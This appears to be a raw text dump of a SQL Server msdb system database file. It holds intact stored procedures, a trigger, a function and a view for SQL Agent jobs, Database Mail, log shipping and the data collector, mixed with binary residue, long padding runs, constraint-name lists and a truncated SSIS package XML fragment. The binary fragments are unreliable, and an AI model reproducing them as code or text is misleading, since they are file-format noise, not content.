       sched.active_start_date,
       sched.active_end_date,
       sched.active_start_time,
       sched.active_end_time,
       sched.date_created,
       sched.date_modified,
       sched.version_number,
       svr.originating_server,
       svr.master_server
FROM msdb.dbo.sysschedules as sched
    JOIN msdb.dbo.sysoriginatingservers_view as svr
    ON sched.originating_server_id = svr.originating_server_id
WHERE (svr.master_server = 0)
  AND ( (sched.owner_sid = SUSER_SID())
        OR (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1)
      OR (ISNULL(IS_MEMBER(N'SQLAgentReaderRole'), 0) = 1)
      )
0W 8
CREATE TRIGGER trig_sysmail_log
ON msdb.dbo.sysmail_log
FOR UPDATE
AS
BEGIN
   SET NOCOUNT ON  

   IF (TRIGGER_NESTLEVEL( OBJECT_ID('dbo.trig_sysmail_log'), 'AFTER' , 'DML' ) <= 1) 
   BEGIN  
      UPDATE msdb.dbo.sysmail_log 
      SET last_mod_date = GETDATE(), last_mod_user = SUSER_SNAME() 
      FROM sysmail_log l, inserted i
      WHERE l.log_id = i.log_id
   END
END
0W@ 8CREATE PROCEDURE sp_get_job_alerts
  @job_id   UNIQUEIDENTIFIER = NULL,
  @job_name sysname          = NULL
AS
BEGIN
  DECLARE @retval INT

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  SELECT id,
         name,
         enabled,
       type = CASE ISNULL(performance_condition, '!')
         WHEN '!' THEN 1              -- SQL Server event alert
         ELSE CASE event_id
            WHEN 8 THEN 3          -- WMI event alert
            ELSE 2                    -- SQL Server performance condition alert
         END
       END
  FROM msdb.dbo.sysalerts
  WHERE (job_id = @job_id)

  RETURN(0) -- Success
END
0%X@ 8
CREATE FUNCTION dbo.ConvertToInt(@string nvarchar(255), @maxValue int, @defValue int) RETURNS int
AS
BEGIN
    DECLARE @value bigint   
    SET @value = @defValue 
    SET @string = LTRIM(RTRIM(@string))

    -- Check if there is any character other than 0-9 in the string.
    IF ((@string IS NOT NULL AND @string <> N'') AND (@string NOT LIKE '%[^0-9]%'))
    BEGIN
        --INT's have a max of 10 digits
        IF(LEN(@string) <= 10)
        BEGIN
        -- Try converting to bigint. Return default if the value is bigger than @maxValue
        SET @value = CONVERT(bigint, @string)
        IF(@value > CONVERT(bigint, @maxValue))
            SET @value = @defValue
        END
    END

    RETURN CONVERT(int, @value)
END
0f=W@ 	8CREATE PROCEDURE [dbo].[sp_syscollector_disable_collector]
WITH EXECUTE AS OWNER -- 'MS_DataCollectorInternalUser'
AS
BEGIN
    -- Security check (role membership)
    EXECUTE AS CALLER;
    IF (NOT (ISNULL(IS_MEMBER(N'dc_operator'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        REVERT;
        RAISERROR(14677, -1, -1, 'dc_operator')
        RETURN(1) -- Failure
    END
    REVERT;

    BEGIN TRANSACTION

    DECLARE @was_enabled int;

    SELECT @was_enabled = ISNULL(CONVERT(int, parameter_value),0)
    FROM [dbo].[syscollector_config_store_internal]
    WHERE parameter_name = 'CollectorEnabled'

    IF (@was_enabled <> 0)
    BEGIN

        UPDATE [dbo].[syscollector_config_store_internal]
        SET parameter_value = 0
        WHERE parameter_name = 'CollectorEnabled'

        DECLARE @collection_set_id INT
        DECLARE @collection_mode SMALLINT
        DECLARE @collection_job_id UNIQUEIDENTIFIER

        DECLARE collection_set_cursor CURSOR LOCAL FOR
            SELECT collection_set_id, collection_mode, collection_job_id
            FROM dbo.syscollector_collection_sets
            WHERE is_running = 1

        OPEN collection_set_cursor
        FETCH collection_set_cursor INTO @collection_set_id, @collection_mode, @collection_job_id

        WHILE @@FETCH_STATUS = 0 
        BEGIN
            -- If this collection set is running in cached mode, and the collection job is running, we need to stop the job explicitly here
            DECLARE @is_collection_job_running INT
            EXECUTE [dbo].[sp_syscollector_get_collection_set_execution_status]
                    @collection_set_id = @collection_set_id,
                    @is_collection_running = @is_collection_job_running OUTPUT    

            IF (@is_collection_job_running = 1
                AND @collection_mode = 0)           -- Cached mode
            BEGIN
                EXEC sp_stop_job @job_id = @collection_job_id
            END

            -- Now, disable the jobs and detach them from the upload schedules
            EXEC dbo.sp_syscollector_stop_collection_set_jobs @collection_set_id = @collection_set_id
            FETCH collection_set_cursor INTO @collection_set_id, @collection_mode, @collection_job_id
        END
        CLOSE collection_set_cursor
        DEALLOCATE collection_set_cursor

    END

    COMMIT TRANSACTION

END
02X 18CREATE PROCEDURE [dbo].[sp_syscollector_get_trace_info]
    @trace_path  nvarchar(512),
    @use_default int
AS
BEGIN
    SELECT 
        CONVERT(nvarchar(30), t.start_time, 126) as start_time,
        CASE t.status 
            WHEN 1 THEN 1 
            ELSE 0 
        END AS is_running, 
        ISNULL(t.dropped_event_count,0) as dropped_event_count,
        t.id
    FROM sys.traces t
    WHERE (@use_default=1 and t.is_default=1)
          OR (@use_default=0 AND t.path LIKE (@trace_path + N'%.trc'))
END
0ZX %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	2`_<gMUBۗm0^@ 8CREATE PROCEDURE sp_add_log_shipping_secondary
  @primary_id                  INT,
  @secondary_server_name       sysname,
  @secondary_database_name     sysname,
  @secondary_plan_id           UNIQUEIDENTIFIER,
  @copy_enabled                BIT              = 1,
  @load_enabled                BIT              = 1,
  @out_of_sync_threshold       INT              = 60,
  @threshold_alert             INT              = 14421,
  @threshold_alert_enabled     BIT              = 1,
  @planned_outage_start_time   INT              = 0,
  @planned_outage_end_time     INT              = 0,
  @planned_outage_weekday_mask INT              = 0,
  @allow_role_change           BIT              = 0 
AS
BEGIN
  SET NOCOUNT ON
  IF NOT EXISTS (SELECT * FROM msdb.dbo.log_shipping_primaries where primary_id = @primary_id)
  BEGIN
    RAISERROR (14262, 16, 1, N'primary_id', N'msdb.dbo.log_shipping_primaries')
    RETURN(1)
  END

  INSERT INTO msdb.dbo.log_shipping_secondaries (
    primary_id,
    secondary_server_name,
    secondary_database_name,
    last_copied_filename,
    last_loaded_filename,
    last_copied_last_updated,
    last_loaded_last_updated,
    secondary_plan_id,
    copy_enabled,
    load_enabled,
    out_of_sync_threshold,
    threshold_alert,
    threshold_alert_enabled,
    planned_outage_start_time,
    planned_outage_end_time,
    planned_outage_weekday_mask,
    allow_role_change)
   VALUES (@primary_id,
    @secondary_server_name,
    @secondary_database_name,
    N'first_file_000000000000.trn',
    N'first_file_000000000000.trn',
    GETDATE (),
    GETDATE (),
    @secondary_plan_id,
    @copy_enabled,
    @load_enabled,
    @out_of_sync_threshold,
    @threshold_alert,
    @threshold_alert_enabled,
    @planned_outage_start_time,
    @planned_outage_end_time,
    @planned_outage_weekday_mask,
    @allow_role_change)
END
0IT^ 8
CREATE PROCEDURE dbo.sysmail_add_profile_sp
   @profile_name sysname,
   @description nvarchar(256) = NULL,
   @profile_id int = NULL OUTPUT 
AS
   SET NOCOUNT ON

   -- insert new profile record, rely on primary key constraint to error out
   INSERT INTO msdb.dbo.sysmail_profile (name,description) VALUES (@profile_name, @description)
   
   -- fetch back profile_id
   SELECT @profile_id = profile_id FROM msdb.dbo.sysmail_profile WHERE name = @profile_name

   RETURN(0)
0s	^ 8CREATE PROCEDURE sp_sqlagent_refresh_job
  @job_id      UNIQUEIDENTIFIER = NULL,
  @server_name sysname          = NULL -- This parameter allows a TSX to use this SP when updating a job
AS
BEGIN
  DECLARE @server_id INT

  SET NOCOUNT ON

  IF (@server_name IS NULL) OR (UPPER(@server_name collate SQL_Latin1_General_CP1_CS_AS) = '(LOCAL)')
    SELECT @server_name = CONVERT(sysname, SERVERPROPERTY('ServerName'))

  SELECT @server_name = UPPER(@server_name)

  SELECT @server_id = server_id
  FROM msdb.dbo.systargetservers_view
  WHERE (UPPER(server_name) = ISNULL(@server_name, UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))))

  SELECT @server_id = ISNULL(@server_id, 0)

  SELECT sjv.job_id,
         sjv.name,
         sjv.enabled,
         sjv.start_step_id,
         owner = dbo.SQLAGENT_SUSER_SNAME(sjv.owner_sid),
         sjv.notify_level_eventlog,
         sjv.notify_level_email,
         sjv.notify_level_netsend,
         sjv.notify_level_page,
         sjv.notify_email_operator_id,
         sjv.notify_netsend_operator_id,
         sjv.notify_page_operator_id,
         sjv.delete_level,
         has_step = (SELECT COUNT(*)
                     FROM msdb.dbo.sysjobsteps sjst
                     WHERE (sjst.job_id = sjv.job_id)),
         sjv.version_number,
         last_run_date = ISNULL(sjs.last_run_date, 0),
         last_run_time = ISNULL(sjs.last_run_time, 0),
         sjv.originating_server,
         sjv.description,
         agent_account = CASE sjv.owner_sid
              WHEN 0xFFFFFFFF THEN 1
              ELSE                 0
         END
  FROM msdb.dbo.sysjobservers sjs,
       msdb.dbo.sysjobs_view  sjv
  WHERE ((@job_id IS NULL) OR (@job_id = sjv.job_id))
    AND (sjv.job_id = sjs.job_id)
    AND (sjs.server_id = @server_id)
  ORDER BY sjv.job_id
  OPTION (FORCE ORDER)

  RETURN(@@error) -- 0 means success
END
0t^ %8(N'')0?^ 
8	CREATE VIEW dbo.sysutility_ucp_dac_database_file_space_health 
	AS
	SELECT  t.dac_name
			, t.dac_server_instance_name
			, t.fg_name
			, t.file_type
			, (SELECT val FROM dbo.fn_sysutility_ucp_get_aggregated_health(t.over_utilized_count, t.under_utilized_count)) health_state
			, t.processing_time
	FROM msdb.dbo.sysutility_ucp_dac_file_space_health_internal AS t
	WHERE t.set_number = (SELECT latest_health_state_id FROM [msdb].[dbo].[sysutility_ucp_processing_state_internal])
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`
Zh1H9/:+^?8!!!!`	76iM
_:6*BKLPK__sysmail___78E6FD33C37F36006~<LPK__sysmail___C010B7E1DBA625886*eHLPK__sysmail___DD70126420ED5B956eQLPK__syssched__C46A8A6F9F7D6ED06FLPK__syssessi__69B13FDCD888F7106sLPK__sysssisl__3213E83F87E3C3756"U"pk_MSdbms64pk_MSdbms_datatype6]!Dpk_MSdbms_datatype_mapping6x.P*pk_MSdbms_map6Dڎ'bPK_syscollector_collection_items_internal6
`PK_syscollector_collection_sets_internal6'`PK_syscollector_collector_types_internal6\1ixPK_syscollector_config_store_internal_paremeter_name6ҕ;JPK_syscollector_execution_log6Z@NPK_syscollector_execution_stats6N]?	>PK_sysmaintplan_subplan6ZJPK_sysmaintplan_taskdetail_id6Z>p@PK_sysssispackagefolders6=yk4pk_sysssispackages6J~[jPK_syscollector_blobs_internal_paremeter_name6eLPK__sysmanag__752ABCF9A354EE2F6PjLPK__sysmanag__ED5B5C59651AEF5D6)zLPK__syspolic__66936FB42D376AD86K>PK_syspolicy_conditions6P"LPK_syspolicy_policy_categories6mR@PK_syspolicy_object_sets6A:PK_syspolicy_policies6C@PK_syspolicy_target_sets6s{F^PK_syspolicy_target_set_levels_internal6VdPK_syspolicy_policy_category_subscriptions6\LPK__syspolic__409BC9E5A43A0EC96vM`LPK__syspolic__096AA2E9D00BEAF66>o3hpPK_syspolicy_policy_execution_history_details_id6ixLPK__syspolic__72E12F1A2F2E06A86	c	HPK_sysdac_instances_internal6_<MDPK_sysdac_history_internal6EYH$LPK__sysutili__72E12F1A539BA7C86nJMpk_sysutility_mi_configuration_internal_configuration_id6.HStPK_sysutility_mi_dac_execution_statistics_internal6VhPK_sysutility_mi_session_statistics_internal62`XuLPK__sysutili__077EA96596DEE0226@wLPK__sysutili__AC2D3E99F29AB7EE6ǎBPK_sysutility_ucp_mi_name6\PK_sysutility_ucp_policies_internal_id6|PK_sysutility_ucp_policy_check_condition_internal_type6S-r~PK_sysutility_ucp_policy_target_condition_internal_type6AxPK_sysutility_ucp_mi_file_space_health_internal_name6X\GtPK_sysutility_ucp_mi_database_health_internal_name6dMzPK_sysutility_ucp_dac_file_space_health_internal_name6>R|PK_sysutility_ucp_mi_volume_space_health_internal_name6ΞVvPK_sysutility_ucp_computer_cpu_health_internal_name6S{dPK_sysutility_ucp_dac_health_internal_name6|*6bPK_sysutility_ucp_mi_health_internal_name6ElPK_sysutility_ucp_filegroups_with_policy_violations_internalVUQ_syspolicy_policy_categories_name6mR@PK_syspolicy_object_sets6mRJUQ_syspolicy_object_sets_name6A:PK_syspolicy_policies6ADUQ_syspolicy_policies_name6C@PK_syspolicy_target_sets6C@UX_syspolicy_target_sets6s{F^PK_syspolicy_target_set_levels_internal6C6UX_syspolicy_levels6VdPK_syspolicy_policy_category_subscriptions6VdUX_syspolicy_policy_category_subscriptions6\LPK__syspolic__409BC9E5A43A0EC96vM`LPK__syspolic__096AA2E9D00BEAF66>o3hpPK_syspolicy_policy_execution_history_details_id6v:queue_clustered_index6v:queue_secondary_index6ixLPK__syspolic__72E12F1A2F2E06A86	c	HPK_sysdac_instances_internal6	c	HUQ_sysdac_instances_internal6_<MDPK_sysdac_history_internal6_<MDUQ_sysdac_history_internal6EYH$LPK__sysutili__72E12F1A539BA7C86nJMpk_sysutility_mi_configuration_internal_configuration_id6.HStPK_sysutility_mi_dac_execution_statistics_internal6.HSLUQ__sysutili__A5C7DBB701255F436.HSLUQ__sysutili__0717EC61238BDACB6VhPK_sysutility_mi_session_statistics_internal62`XuLPK__sysutili__077EA96596DEE0226@wLPK__sysutili__AC2D3E99F29AB7EE6rPK_sysutility_ucp_supported_object_types_internal6ǎBPK_sysutility_ucp_mi_name6ǎ>UQ_sysutility_ucp_mi_id6/
fPK_sysutility_ucp_processing_state_internal6\PK_sysutility_ucp_policies_internal_id6|PK_sysutility_ucp_policy_check_condition_internal_type6S-r~PK_sysutility_ucp_policy_target_condition_internal_type6NhPK_sysutility_ucp_policy_violations_internal6AxPK_sysutility_ucp_mi_file_space_health_internal_name\28b l
~
2
>(

*
	v	*	^$Bv<,

&D~l

	2h\

N~J(B
NDv
n		`	j?
>Hcolumnid="18" columnname="CPU" logical_operator="AND" comparison_operator="EQ" value="20"/&gt;&lt;Filter columnid="14" columnname="StartTime" logical_operator="AND" comparison_operator="GT" value="2007-02-09 13:40:00"/&gt;&lt;/Filters&gt;&lt;/ns:SqlTraceCollector&gt;</InputParameters><TraceFileLocation>C:\Users\macies\AppData\Local\Temp\ecodedc\DC_Trace_SETHS-SSISVSTA2.MSSQL.1.f37780d4-fea7-4271-90b2-fa553ad4ca91.0</TraceFileLocation><MaxFileSize>10</MaxFileSize><MaxNumberOfFiles>10</MaxNumberOfFiles><Destination>TraceScript</Destination></TraceStartScriptTask></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint]" DTS:CreationName="" DTS:DTSID="{0AA76CCC-2FE2-4634-B3D2-A667800C2970}" DTS:From="Package\SQL - Close trace if running" DTS:LogicalAnd="True" DTS:ObjectName="Constraint" DTS:To="Package\SQL - Execute Trace Start Script"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 1]" DTS:CreationName="" DTS:DTSID="{173BDAB9-B91C-41D7-900D-9983E6C67B72}" DTS:EvalOp="3" DTS:Expression="@[User::TraceID] &gt; 0" DTS:From="Package\SQL - Execute Trace Start Script" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 1" DTS:To="Package\Foreach Loop - Monitor Trace"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 2]" DTS:CreationName="" DTS:DTSID="{CDB85B45-DF66-4F48-9171-B6E4D3CC1A2D}" DTS:From="Package\Foreach Loop - Monitor Trace" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 2" DTS:To="Package\SQL - Stop Trace" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 5]" DTS:CreationName="" DTS:DTSID="{2D5D63DF-D075-4A13-BFA3-A73ECE38EB69}" DTS:From="Package\TRC - Generate Trace Start Script" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 5" DTS:To="Package\SQL - Close trace if running"/></DTS:PrecedenceConstraints><DTS:PackageVariables/></DTS:Executable>	HT
lK#
	"10" lu
	HT
yK#
	"><DTVa
	HTK#
	askCoac
	HTh>8^}\	HT`K#
	="{716d
	HTfK#
	 DTS:je
	HTZ!K#
	ctor_en
	HTIJXK#
	aint  D
	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!